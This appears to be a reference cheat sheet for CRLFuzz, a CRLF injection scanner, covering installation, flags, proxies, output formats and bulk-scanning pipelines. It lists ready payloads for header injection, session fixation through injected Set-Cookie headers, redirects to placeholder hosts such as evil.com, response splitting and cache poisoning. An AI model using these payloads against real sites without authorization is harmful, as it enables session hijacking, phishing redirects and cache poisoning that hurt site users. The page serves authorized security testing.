Skip to content

CRLFuzz

CRLFuzz is a lightweight, fast CRLF (Carriage Return Line Feed) injection vulnerability scanner written in Go. It efficiently detects CRLF injection vulnerabilities across web applications by testing parameters and headers against multiple payloads. The tool is ideal for bug bounty hunters and penetration testers conducting security assessments on web applications.

  • Go 1.11+ (for building from source)
  • Or download precompiled binaries
git clone https://github.com/dwisiswant0/crlfuzz.git
cd crlfuzz
go build -o crlfuzz
wget https://github.com/dwisiswant0/crlfuzz/releases/download/v1.5.0/crlfuzz_1.5.0_linux_amd64.tar.gz
tar -xvf crlfuzz_1.5.0_linux_amd64.tar.gz
chmod +x crlfuzz
brew install dwisiswant0/tap/crlfuzz

Download .exe from releases: https://github.com/dwisiswant0/crlfuzz/releases

CommandDescription
crlfuzz -u <url>Scan single URL
crlfuzz -l <file>Scan URLs from file
crlfuzz -u <url> -vVerbose output
crlfuzz --helpShow help menu
crlfuzz -u <url> -c 10Set concurrency level
crlfuzz -u 'http://example.com/?page=test'
crlfuzz -u 'http://example.com/?page=test' -v
crlfuzz -u 'http://example.com/?name=value' -v --show-req --show-resp
crlfuzz -l urls.txt

Create urls.txt:

http://example.com/?page=test
http://example.com/?user=admin
http://example.com/?id=123
crlfuzz -l urls.txt -v
crlfuzz -l urls.txt -o results.txt
crlfuzz -l urls.txt -c 25

Default is 10 concurrent requests. Increase for larger scans.

crlfuzz -l urls.txt -c 100

Use cautiously to avoid overwhelming target servers.

crlfuzz -u 'http://example.com/?test=value' -t 30

Set timeout in seconds (default is 10 seconds).

CRLFuzz includes built-in CRLF injection payloads:

%0d%0a (URL-encoded CRLF)
%0d (CR only)
%0a (LF only)
\r\n (Raw CRLF)
crlfuzz -u 'http://example.com/?page=test' -payloads custom-payloads.txt

Create custom-payloads.txt:

%0d%0a
%0d%0aSet-Cookie:admin=true
%0d%0aLocation:http://evil.com
%0d%0aX-Injected:value
crlfuzz -u 'http://example.com/?param=VALUE' -payloads payloads.txt

CRLFuzz replaces VALUE with each payload.

crlfuzz -u 'http://example.com/' -H 'X-Forwarded-For: test' -v
crlfuzz -u 'http://example.com/' -H 'User-Agent: test' -H 'X-Custom: value'
crlfuzz -u 'http://example.com/?page=test' --test-headers
crlfuzz -u 'http://example.com/?page=test&user=admin&id=123'

Automatically tests all parameters for CRLF injection.

crlfuzz -u 'http://example.com/?page=test' -param 'page'
crlfuzz -u 'http://example.com/?page=test&id=123' -skip 'id'
crlfuzz -u 'http://example.com/?test=value'

Output shows:

  • URL
  • Vulnerable parameter
  • Payload used
  • Response status code
crlfuzz -l urls.txt -o results.json -json
crlfuzz -l urls.txt -o results.csv -csv
crlfuzz -l urls.txt -q

Quiet mode - only shows results.

crlfuzz -u 'http://example.com/?test=value' -proxy http://127.0.0.1:8080
crlfuzz -u 'http://example.com/?test=value' -socks5 127.0.0.1:1080
crlfuzz -u 'http://example.com/?test=value' -proxy http://user:pass@127.0.0.1:8080
crlfuzz -u 'https://example.com/?test=value' --insecure
crlfuzz -u 'https://example.com/?test=value' --ca-cert /path/to/ca.crt
crlfuzz -u 'http://example.com/' -method POST -data 'param=VALUE&user=test'
crlfuzz -u 'http://example.com/api/resource' -method PUT -data 'field=VALUE'
crlfuzz -u 'http://example.com/api' -method POST -data '{"key":"VALUE"}'
crlfuzz -u 'http://example.com/?test=VALUE' -H 'Authorization: Bearer token' -H 'Content-Type: application/json'
crlfuzz -u 'http://example.com/?test=value' -v --show-resp
crlfuzz -u 'http://example.com/?test=value' -v --show-body
crlfuzz -l urls.txt --filter-status 200

Only test URLs that return status 200.

crlfuzz -u 'http://example.com/?test=value' -match 'Set-Cookie'

Consider vulnerability confirmed if response contains “Set-Cookie”.

crlfuzz -l urls.txt -match 'Location:' -o vulnerable.txt
crlfuzz -l urls.txt -delay 100

Add 100ms delay between requests.

crlfuzz -l urls.txt -rate 10

Limit to 10 requests per second.

crlfuzz -u 'http://example.com/?page=home&user=test'
crlfuzz -l target-urls.txt -v --show-req --show-resp -o findings.txt
crlfuzz -l urls.txt -delay 500 -c 5 --insecure
crlfuzz -l thousands-of-urls.txt -c 50 -t 30 -json -o results.json
Payload: %0d%0aSet-Cookie:admin=true
Result: Response header contains injected Set-Cookie
Payload: %0d%0a%0d%0aHTTP/1.1 200 OK
Result: Ability to split HTTP response
Payload: %0d%0aSet-Cookie:SESSIONID=attacker-controlled
Result: Force victim session ID
Payload: %0d%0aLocation:http://evil.com
Result: Redirect user to malicious site
Payload: %0d%0aX-Original-URL:/cache-buster
Result: Poison cached responses
[CRLF] http://example.com/?page=VALUE
[PARAMETER] page
[PAYLOAD] %0d%0aSet-Cookie:admin=true
[STATUS] 200
[FOUND] Yes
  • Status code change after injection
  • Additional headers in response
  • Response splitting evidence
  • Cookie manipulation detection
crlfuzz -u 'http://example.com/?test=value' -H 'User-Agent: Mozilla/5.0 (random)'
crlfuzz -l urls.txt -delay 500 -c 3
crlfuzz -u 'http://example.com/?test=value' -payloads rotating-payloads.txt
crlfuzz -u 'http://slow-server.com/?test=value' -t 60

Increase timeout to 60 seconds.

crlfuzz -l urls.txt -c 5 -t 30

Reduce concurrency and increase timeout.

crlfuzz -u 'https://example.com/?test=value' --insecure

Bypass SSL verification.

crlfuzz -u 'http://example.com/?test=value' -payloads extended-payloads.txt -v

Try with custom payloads and verbose mode.

  1. Obtain authorization before scanning production systems
  2. Start with low concurrency and increase gradually
  3. Use appropriate timeouts for slow servers
  4. Test parameters individually for precise results
  5. Review all findings carefully for false positives
  6. Combine with other scanners for comprehensive testing
  7. Keep tool updated for latest payload detection
%0d%0a
%0d%0aX-Injected-Header:value
%0d%0aSet-Cookie:name=value
%0d%0aLocation:http://attacker.com
httpx -l domains.txt | crlfuzz -
waybackurls example.com | crlfuzz -
ffuf -w params.txt -u 'http://example.com/?FUZZ=test' | crlfuzz -
  1. Increase concurrency for large URL lists
  2. Use shorter timeouts for quick scans
  3. Test parameters in separate scans if needed
  4. Monitor CPU and network usage
  5. Use filtering to reduce false positives

CRLFuzz is for authorized security testing only. Always obtain explicit written permission before testing any system. Unauthorized access and scanning is illegal.